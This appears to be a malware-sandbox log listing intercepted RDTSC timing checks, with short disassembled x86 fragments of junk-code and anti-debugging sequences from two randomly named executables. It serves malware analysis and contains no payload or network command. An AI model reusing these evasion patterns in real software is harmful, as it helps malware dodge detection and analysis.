Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7AF732 second address: 7AF7DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FF88929ECB6h 0x00000009 jc 00007FF88929ECB6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jc 00007FF88929ECD5h 0x00000019 je 00007FF88929ECCFh 0x0000001f jmp 00007FF88929ECC9h 0x00000024 nop 0x00000025 sbb edi, 0DCA7789h 0x0000002b mov dword ptr [ebp+122D2120h], esi 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov dword ptr [ebp+122D2F7Fh], edx 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 mov edi, 292FE3DFh 0x0000004a mov eax, dword ptr [ebp+122D1179h] 0x00000050 mov di, si 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push edi 0x00000058 call 00007FF88929ECB8h 0x0000005d pop edi 0x0000005e mov dword ptr [esp+04h], edi 0x00000062 add dword ptr [esp+04h], 0000001Ch 0x0000006a inc edi 0x0000006b push edi 0x0000006c ret 0x0000006d pop edi 0x0000006e ret 0x0000006f nop 0x00000070 push ebx 0x00000071 push edi 0x00000072 jbe 00007FF88929ECB6h 0x00000078 pop edi 0x00000079 pop ebx 0x0000007a push eax 0x0000007b push esi 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007FF88929ECC0h 0x00000083 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7AF7DE second address: 7AF7E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B2831 second address: 7B283B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B283B second address: 7B2841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B2841 second address: 7B2847 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 755E5E second address: 755E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF888DC1E9Fh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B8FD0 second address: 7B8FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jp 00007FF88929ECB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7B8FDE second address: 7B8FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 74F0F0 second address: 74F0F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7BC3CC second address: 7BC3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C0141 second address: 7C015D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C015D second address: 7C0163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C0163 second address: 7C0184 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF88929ECB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop ecx 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C0184 second address: 7C0189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C6AE0 second address: 7C6AF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C7807 second address: 7C780D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C780D second address: 7C7819 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C7819 second address: 7C781D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C7AE7 second address: 7C7AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBAh 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C7AF5 second address: 7C7AFB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C7AFB second address: 7C7B00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7C7B00 second address: 7C7B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 79107E second address: 791082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7915ED second address: 791652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jng 00007FF888DC1EA4h 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FF888DC1E98h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push D7280100h 0x00000030 pushad 0x00000031 jne 00007FF888DC1EA8h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 791652 second address: 791656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7917BC second address: 7917C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7917C0 second address: 7917F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b mov dword ptr [ebp+124591F7h], eax 0x00000011 pushad 0x00000012 sbb ax, 2B7Eh 0x00000017 jbe 00007FF88929ECBAh 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pushad 0x00000023 popad 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7920C4 second address: 7920CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D042C9 second address: D042CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07752 second address: D07756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07756 second address: D0775C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D0775C second address: D0776A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FF888DC1E98h 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07899 second address: D078B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FF88929ECC9h 0x0000000b jmp 00007FF88929ECBDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07A12 second address: D07A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FF888DC1EA5h 0x0000000b jmp 00007FF888DC1EA5h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07A49 second address: D07A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECC8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07A65 second address: D07A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07A71 second address: D07ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FF88929ECC7h 0x0000000d pushad 0x0000000e jmp 00007FF88929ECC7h 0x00000013 jmp 00007FF88929ECC2h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07EDE second address: D07EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07EE4 second address: D07EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBDh 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07EF9 second address: D07F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF888DC1E96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D07F05 second address: D07F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D0E42B second address: D0E42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D0E42F second address: D0E43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FF88929ECC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D17373 second address: D17377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D17377 second address: D1737B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D1737B second address: D1738D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FF888DC1E96h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D154A0 second address: D154A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D154A6 second address: D154B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FF888DC1E96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D15AE0 second address: D15AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D15AE6 second address: D15AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D15DCF second address: D15DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D15DD3 second address: D15DDD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF888DC1E96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D169D0 second address: D169DF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF88929ECB6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D169DF second address: D169E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D169E4 second address: D169F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FF88929ECDFh 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D169F5 second address: D16A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792285 second address: 79228A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 79228A second address: 7922A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jne 00007FF888DC1E9Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792423 second address: 792427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 792427 second address: 77A948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a lea eax, dword ptr [ebp+12485CDDh] 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FF888DC1E98h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a jg 00007FF888DC1E9Bh 0x00000030 nop 0x00000031 jmp 00007FF888DC1E9Dh 0x00000036 push eax 0x00000037 jmp 00007FF888DC1EA4h 0x0000003c nop 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007FF888DC1E98h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 mov dword ptr [ebp+122D19F7h], edi 0x0000005d call dword ptr [ebp+122D1E06h] 0x00000063 je 00007FF888DC1EADh 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D1C863 second address: D1C880 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC1h 0x00000007 js 00007FF88929ECBEh 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D1EFCE second address: D1EFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D1EFD4 second address: D1EFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D2E532 second address: D2E55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FF888DC1EA3h 0x00000011 popad 0x00000012 jbe 00007FF888DC1E9Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D2E55A second address: D2E574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007FF88929ECBAh 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push edx 0x00000012 je 00007FF88929ECBCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D30DD8 second address: D30DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push esi 0x00000008 jbe 00007FF888DC1E96h 0x0000000e pop esi 0x0000000f push ebx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D308A5 second address: D308AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D308AD second address: D308B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D308B2 second address: D308C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF88929ECBAh 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D36CDF second address: D36CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D3EC38 second address: D3EC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D40958 second address: D4095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D473D5 second address: D473E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF88929ECBBh 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D473E6 second address: D47402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D47402 second address: D47408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D47408 second address: D4740C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D4740C second address: D4742F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007FF88929ECC3h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D4742F second address: D4744A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D4744A second address: D47457 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D476DE second address: D476ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007FF888DC1E96h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D476ED second address: D476F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7CB929 second address: 7CB92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D304C second address: 7D3052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D3052 second address: 7D3057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D3057 second address: 7D3071 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECC2h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF88929ECBAh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D8C60 second address: 7D8C83 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FF888DC1EA9h 0x00000010 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D8F68 second address: 7D8F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC0h 0x00000007 jl 00007FF88929ECB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D926A second address: 7D9270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
